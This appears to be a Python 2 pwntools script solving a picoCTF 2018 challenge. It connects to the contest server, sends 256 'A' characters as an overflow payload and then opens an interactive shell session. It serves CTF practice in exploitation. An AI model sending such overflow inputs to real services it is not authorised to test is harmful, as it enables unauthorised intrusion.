#!/usr/bin/python
from pwn import *

HOST = "2018shell2.picoctf.com"
PORT = 31045

def main() :
    conn = remote(HOST, PORT)

    print conn.read()
    print "Send exploit payload.."
    conn.sendline("A" * 256)

    print conn.read()

    conn.interactive()


main()
